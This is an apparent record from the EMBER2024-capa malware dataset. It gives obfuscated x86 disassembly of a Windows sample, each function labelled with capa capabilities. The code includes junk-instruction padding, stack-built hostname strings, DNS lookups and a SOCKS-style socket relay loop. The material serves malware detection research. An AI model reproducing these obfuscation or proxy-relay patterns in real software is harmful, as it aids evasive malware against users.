joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409d95
Capabilities:
Accept command line arguments
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
pushfd
push ecx
rcl ecx, 0x12
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push eax
setb al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
mov esi, dword [ebp + 8]
movzx eax, byte [esi + 3]
cmp eax, 3
jne 0x409e93
movzx ecx, byte [esi + 4]
pushfd
push edx
bts edx, 0xf
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
psubusb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push ecx
inc ecx
push ecx
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GlobalAlloc
pushfd
push ecx
rcr ecx, 0xe
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ecx
call fcn.00409ebe
pop ecx
jmp 0x409e1d
mov dword [ebp - 4], eax
pop ecx
add esi, 5
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push dword [ebp - 4]
call sub.wsock32.dll_gethostbyname
push eax
pushfd
push eax
btc eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
setbe cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push dword [ebp - 4]
call sub.KERNEL32.DLL_GlobalFree
pushfd
push eax
rcr eax, 0xc
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pminub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
pop eax
mov eax, dword [eax + 0xc]
pushfd
push edx
sar edx, 0x19
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fsin
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x409eba
cmp eax, 1
jne 0x409eb7
pushfd
push eax
rcl eax, 8
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pcmpgtd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov eax, dword [esi + 4]
jmp 0x409eba
xor eax, eax
dec eax
leave
ret 4
Function at 0x409f0f
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
pushfd
push ecx
sar ecx, 5
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push eax
inc al
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push 0x104
push dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
push dword [ebp + 8]
call fcn.00415ec0
pushfd
push ecx
btr ecx, 0x11
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
push edx
pushfd
cmovle esi, edx
popfd
pop edx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov ecx, eax
add eax, dword [ebp + 8]
pushfd
push esi
rol esi, 7
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push ecx
setl cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
mov esi, eax
pushfd
push ecx
rol ecx, 0x10
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pcmpgtd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
std
lodsb al, byte [esi]
pushfd
push esi
btc esi, 0x1f
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fprem1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
cmp al, 0x5c
pushfd
push ebx
rcl ebx, 5
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ebx
setl bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
je 0x40a03d
cmp al, 0x3a
pushfd
push esi
bt esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
call fcn.0040a087
pop ecx
jmp 0x40a014
je 0x40a03d
pushfd
push esi
rol esi, 0x1b
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
push ecx
pushfd
cmovnp edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
dec ecx
jne 0x409fa9
cld
lea edi, [esi + 1]
pushfd
push edx
sar edx, 7
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esi
push ecx
pushfd
add esi, ecx
popfd
pop ecx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov eax, 0x5c
stosw word es:[edi], ax
pushfd
push edx
rcr edx, 0x12
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push ecx
setns cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
leave
ret 4
Function at 0x40ab2c
Capabilities:
Accept command line arguments
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
pushfd
push edx
ror edx, 0x19
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
setae cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
mov edi, dword [ebp + 8]
push 0x8000
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GlobalAlloc
pushfd
push ebx
shl ebx, 0x13
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pmulhw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov dword [ebp - 0x18], eax
pushfd
push edx
btr edx, 2
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ebx
setge bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
test eax, eax
pushfd
push eax
rol eax, 0xb
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ebx
push eax
pushfd
cmovg ebx, eax
popfd
pop eax
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
je 0x40acf2
cmp byte [edi + 0xc], 2
jne 0x40abfd
push 0
push 0
push dword [edi]
call sub.wsock32.dll_accept
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [edi]
call sub.wsock32.dll_getpeername
mov eax, dword [ebp - 0xc]
movzx ecx, word [ebp - 0xe]
push ecx
push eax
push 0
push dword [edi + 8]
call fcn.0040ebfb
push dword [edi + 8]
pop dword [edi + 4]
jmp 0x40ac02
push dword [edi + 8]
pop dword [edi]
mov dword [ebp - 0x11c], 2
push dword [edi]
pop dword [ebp - 0x118]
push dword [edi + 4]
pop dword [ebp - 0x114]
push 0
push 0
push 0
lea eax, [ebp - 0x11c]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0
ja 0x40ac3b
jmp 0x40acf2
lea eax, [ebp - 0x11c]
push eax
push dword [edi]
call sub.wsock32.dll___WSAFDIsSet
or eax, eax
je 0x40ac95
push 0
push 0x2000
push dword [ebp - 0x18]
push dword [edi]
call sub.wsock32.dll_recv
or eax, eax
je 0x40ac77
cmp eax, 0xffffffff
je 0x40ac77
push 0
push eax
push dword [ebp - 0x18]
push dword [edi + 4]
call sub.wsock32.dll_send
jmp 0x40ac95
pushfd
push eax
shl eax, 0x14
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
setg cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
jmp 0x40acf2
lea eax, [ebp - 0x11c]
push eax
push dword [edi + 4]
call sub.wsock32.dll___WSAFDIsSet
or eax, eax
je 0x40aced
push 0
push 0x2000
push dword [ebp - 0x18]
push dword [edi + 4]
call sub.wsock32.dll_recv
or eax, eax
je 0x40acd2
cmp eax, 0xffffffff
je 0x40acd2
push 0
push eax
push dword [ebp - 0x18]
push dword [edi]
call sub.wsock32.dll_send
jmp 0x40aced
pushfd
push ecx
shl ecx, 1
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
wait
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
jmp 0x40acf2
jmp 0x40ac02
pushfd
push ebx
btc ebx, 8
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_GlobalFree
leave
ret 4
Function at 0x40cb86
Capabilities:
Accept command line arguments

Disassembly:
push 0x6d6f63
push 0x2e72656b
pushfd
push esi
btr esi, 0
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push eax
push ebx
pushfd
cmovnp eax, ebx
popfd
pop ebx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push eax
mov dword [esp], 0xbe526e62
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xb713ffff
pop edx
push 0x180b6374
sub dword [esp], 0xae9fffff
pushfd
push ebx
ror ebx, 0xd
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
call fcn.0040d085
pop ebx
jmp 0x40cc00
push 0x7c61ffff
mov dword [esp], 0x80f9a94
xor dword [esp], 0x7c61ffff
mov edx, esp
pushfd
push ecx
rcl ecx, 0xa
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ebx
setb bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push edx
call fcn.0041656c
pushfd
push edx
rol edx, 0xe
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push eax
seta al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
add esp, 0x14
pushfd
push edx
shl edx, 5
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
pop edx
pushfd
push esi
bt esi, 0x12
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fnop
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
jmp edx
Function at 0x40e556
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
pushfd
push esi
bt esi, 0x1f
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ebx
setl bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
mov esi, dword [ebp + 8]
pushfd
push esi
shl esi, 0x15
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
call fcn.0040e613
pop ebx
jmp 0x40e5a6
xor eax, eax
xor edx, edx
lodsb al, byte [esi]
cmp al, 0x30
jb 0x40e5f6
cmp al, 0x39
ja 0x40e5f6
pushfd
push edx
btr edx, 4
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
push esi
pushfd
add esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
imul edx, edx, 0xa
add edx, eax
sub edx, 0x30
pushfd
push esi
bts esi, 0x19
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
clc
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
jmp 0x40e5aa
xchg edx, eax
pushfd
push eax
rol eax, 0x13
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
cld
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
leave
ret 4

Function at 0x40ebfb
Capabilities:
Accept command line arguments
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
pushfd
push esi
bts esi, 0xe
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ecx
setnp cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
mov byte [ebp - 0x14], 5
pushfd
push ebx
rcr ebx, 2
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push edx
push ecx
pushfd
cmovg edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov eax, dword [ebp + 0xc]
pushfd
push edx
bt edx, 0x1f
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ecx
setae cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 1
push dword [ebp + 0x10]
pushfd
push esi
rol esi, 0x1d
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
psubusb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
pop dword [ebp - 0x10]
pushfd
push ebx
btr ebx, 5
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ebx
push ecx
pushfd
cmovle ebx, ecx
popfd
pop ecx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov eax, dword [ebp + 0x14]
mov word [ebp - 0xc], ax
push 0
push 0xa
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_send
leave
ret 0x10
Function at 0x40ed1a
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffecc
mov dword [ebp - 0x130], 5
push 0
push 0x12c
lea eax, [ebp - 0x12c]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
or eax, eax
je 0x40ed4c
cmp eax, 0xffffffff
jne 0x40ed71
pushfd
push edx
rol edx, 0xd
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
push eax
pushfd
cmovb ebx, eax
popfd
pop eax
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
jmp 0x40ee24
cmp byte [ebp - 0x12c], 5
pushfd
push ecx
shl ecx, 6
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ecx
call fcn.0040ee44
pop ecx
jmp 0x40eda6
jne 0x40ee24
pushfd
push eax
rcl eax, 0x15
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push eax
seto al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
mov byte [ebp - 0x131], 0
pushfd
push ebx
rol ebx, 6
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pminub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov dword [ebp - 0x130], 5
push 0
push 2
lea eax, [ebp - 0x130]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_send
xor eax, eax
inc eax
pushfd
push ebx
bt ebx, 0x1e
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
psubusw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
leave
ret 4
mov byte [ebp - 0x131], 0xff
push 0
push 2
lea eax, [ebp - 0x130]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_send
xor eax, eax
leave
ret 4
Function at 0x40ee95
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 4
push 0x1000
push 0x10000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 4], eax
pushal
pushfd
push edx
rcl edx, 0
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push edx
push ecx
pushfd
cmovs edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push dword [ebp + 8]
call fcn.00415ec0
mov ecx, eax
pushfd
push ecx
btc ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
push esi
pushfd
cmove edx, esi
popfd
pop esi
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov edi, dword [ebp - 4]
pushfd
push ebx
ror ebx, 0x1a
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ebx
seto bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
mov esi, dword [ebp + 8]
pushfd
push ebx
bt ebx, 0x10
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
wait
fninit
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
rep movsb byte es:[edi], byte [esi]
pushfd
push edx
rcr edx, 0x10
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
setl cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
mov dword [esp + 0x1c], eax
popal
or eax, eax
je 0x40ef89
pushfd
push ebx
btc ebx, 3
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push eax
setae al
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push dword [ebp - 4]
push dword [ebp - 4]
call fcn.0040a0d8
push 0x8000
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_VirtualFree
pushfd
push ecx
shl ecx, 0x15
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
call fcn.0040efc9
pop ebx
jmp 0x40efc5
leave
ret 4
Function at 0x40f931
Capabilities:
Accept command line arguments

Disassembly:
push esi
pushfd
push esi
sar esi, 0x14
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ecx
setne cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
mov esi, esp
push ebx
mov dword [esp], 0x7760006c
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0x775fffff
pop ecx
push 0x6f632e7a
push 0x15ffffff
mov dword [esp], 0x7f9e8790
xor dword [esp], 0x15ffffff
pushfd
push eax
shl eax, 0x1a
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
paddw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0x70efffff
mov dword [esp], 0x1c819e94
xor dword [esp], 0x70efffff
pushfd
push eax
shl eax, 0x13
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push edx
push edx
pushfd
cmovp edx, edx
popfd
pop edx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push eax
mov dword [esp], 0x54cf6c62
add dword [esp], 0x1e91ffff
mov edx, esp
push edx
call fcn.0041656c
pushfd
push eax
rcl eax, 0x13
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
punpckhdq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov esp, esi
pushfd
push esi
sar esi, 0x1d
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
fscale
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
pop esi
pop edx
pushfd
push ebx
rol ebx, 0x13
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
frndint
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
jmp edx

Function at 0x4104e2
Capabilities:
Accept command line arguments

Disassembly:
push 0
pushfd
push eax
btc eax, 1
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push 0xd8d26961
sub dword [esp], 0xd857ffff
push 0x2e647269
push esi
mov dword [esp], 0xd1876e76
add dword [esp], 0x90ddffff
pushfd
push eax
rcr eax, 0x1a
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ebx
mov dword [esp], 0xfd706f65
push eax
mov eax, esp
add eax, 4
sub dword [eax], 0x88fdffff
pop eax
pushfd
push esi
rcr esi, 8
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x410563
mov edx, esp
push edx
call fcn.0041656c
pushfd
push eax
ror eax, 0x1a
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ebx
push ebx
pushfd
cmovg ebx, ebx
popfd
pop ebx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
add esp, 0x14
pop edx
pushfd
push edx
ror edx, 0x14
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
psubw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
jmp edx
Function at 0x411389
Capabilities:
Accept command line arguments

Disassembly:
pushfd
push edx
btr edx, 8
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fmulp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0
push 0x7a69622e
push eax
mov dword [esp], 0x21ae726a
add dword [esp], 0x54bfffff
push 0xc82f6569
sub dword [esp], 0x66bfffff
push 0xbc85ffff
mov dword [esp], 0xd5f19697
xor dword [esp], 0xbc85ffff
pushfd
push eax
shl eax, 4
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push edx
push ecx
pushfd
cmovb edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov edx, esp
pushfd
push ecx
btc ecx, 9
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
psubsb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push edx
call fcn.0041656c
add esp, 0x14
pushfd
push esi
rcr esi, 9
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fyl2x
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
pop edx
jmp edx
Function at 0x415cd0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 1
call sub.KERNEL32.DLL_GetCommandLineA
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
push eax
call fcn.00416010
cmp eax, 0
jb 0x415d05
mov ecx, dword [ebp + 0xc]
cmp byte [ecx], 0
je 0x415cfe
mov eax, 1
jmp 0x415d0f
mov eax, 2
jmp 0x415d0f
cmp eax, 0xffffffff
jne 0x415d0f
mov eax, 3
leave
ret 8
Function at 0x4162ae
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0x80000000
jbe 0x4162c2
xor eax, eax
jmp 0x4164a9
inc dword [0x421a30]
push ebx
push esi
push edi
mov eax, ebp
mov eax, dword [eax + 4]
mov dword [ebp - 4], eax
xor ebx, ebx
cmp dword [0x421a60], ebx
jne 0x41632c
mov esi, dword [sym.imp.KERNEL32.DLL_HeapCreate]
push ebx
push ebx
push 2
pop edi
push edi
call esi
push ebx
push ebx
push edi
mov dword [0x421a60], eax
call esi
push ebx
push ebx
push edi
mov dword [0x421a64], eax
call esi
push ebx
push ebx
push edi
mov dword [0x421a68], eax
call esi
push ebx
push ebx
push edi
mov dword [0x421a6c], eax
call esi
push ebx
push ebx
push edi
mov dword [0x421a70], eax
call esi
push ebx
push ebx
push edi
mov dword [0x421a74], eax
call esi
mov dword [0x421a78], eax
mov eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
add eax, 0x14
push eax
push ebx
push dword [0x421a60]
call edi
mov esi, eax
add esi, 0x10
cmp esi, 0x10
jbe 0x416366
push dword [ebp + 0xc]
push ebx
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [0x421a60]
add esp, 0xc
mov dword [esi - 0xc], eax
jmp 0x41648e
mov eax, dword [ebp + 0xc]
add eax, 0x14
push eax
push ebx
push dword [0x421a64]
call edi
mov esi, eax
add esi, 0x10
cmp esi, 0x10
jbe 0x416394
push dword [ebp + 0xc]
push ebx
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [0x421a64]
add esp, 0xc
jmp 0x41635e
mov eax, dword [ebp + 0xc]
add eax, 0x14
push eax
push ebx
push dword [0x421a68]
call edi
mov esi, eax
add esi, 0x10
cmp esi, 0x10
jbe 0x4163c2
push dword [ebp + 0xc]
push ebx
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [0x421a68]
add esp, 0xc
jmp 0x41635e
mov eax, dword [ebp + 0xc]
add eax, 0x14
push eax
push ebx
push dword [0x421a6c]
call edi
mov esi, eax
add esi, 0x10
cmp esi, 0x10
jbe 0x4163f3
push dword [ebp + 0xc]
push ebx
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [0x421a6c]
add esp, 0xc
jmp 0x41635e
mov eax, dword [ebp + 0xc]
add eax, 0x14
push eax
push ebx
push dword [0x421a70]
call edi
mov esi, eax
add esi, 0x10
cmp esi, 0x10
jbe 0x416424
push dword [ebp + 0xc]
push ebx
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [0x421a70]
add esp, 0xc
jmp 0x41635e
mov eax, dword [ebp + 0xc]
add eax, 0x14
push eax
push ebx
push dword [0x421a74]
call edi
mov esi, eax
add esi, 0x10
cmp esi, 0x10
jbe 0x416455
push dword [ebp + 0xc]
push ebx
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [0x421a74]
add esp, 0xc
jmp 0x41635e
mov eax, dword [ebp + 0xc]
add eax, 0x14
push eax
push ebx
push dword [0x421a78]
call edi
mov esi, eax
add esi, 0x10
cmp esi, 0x10
jbe 0x416486
push dword [ebp + 0xc]
push ebx
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [0x421a78]
add esp, 0xc
jmp 0x41635e
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov eax, dword [ebp + 0xc]
pop edi
mov dword [esi + eax], eax
mov dword [esi - 0x10], eax
mov eax, dword [ebp - 4]
mov dword [esi - 4], 0x474c4f42
mov dword [esi - 8], eax
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x41993c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 0x2c]
mov ebx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x2c]
sub ebx, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
lea ecx, [edi + ecx - 0x106]
sub ebx, eax
cmp eax, ecx
jb 0x4199c4
mov eax, dword [esi + 0x38]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], edi
sub dword [esi + 0x6c], edi
add esp, 0xc
sub dword [esi + 0x5c], edi
mov dword [ebp + 8], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp + 8]
mov word [eax], cx
jne 0x419987
mov eax, dword [esi + 0x40]
mov dword [ebp + 8], edi
lea eax, [eax + edi*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp + 8]
mov word [eax], cx
jne 0x4199a9
add ebx, edi
mov eax, dword [esi]
cmp dword [eax + 4], 0
je 0x419a1c
mov ecx, dword [esi + 0x74]
push ebx
add ecx, dword [esi + 0x6c]
add ecx, dword [esi + 0x38]
push ecx
push eax
call fcn.00419a23
add dword [esi + 0x74], eax
mov ebx, dword [esi + 0x74]
cmp ebx, 3
jb 0x419a08
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
mov ecx, dword [esi + 0x58]
movzx eax, byte [edx]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp ebx, 0x106
jae 0x419a1c
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x419948
pop edi
pop esi
pop ebx
pop ebp
ret 4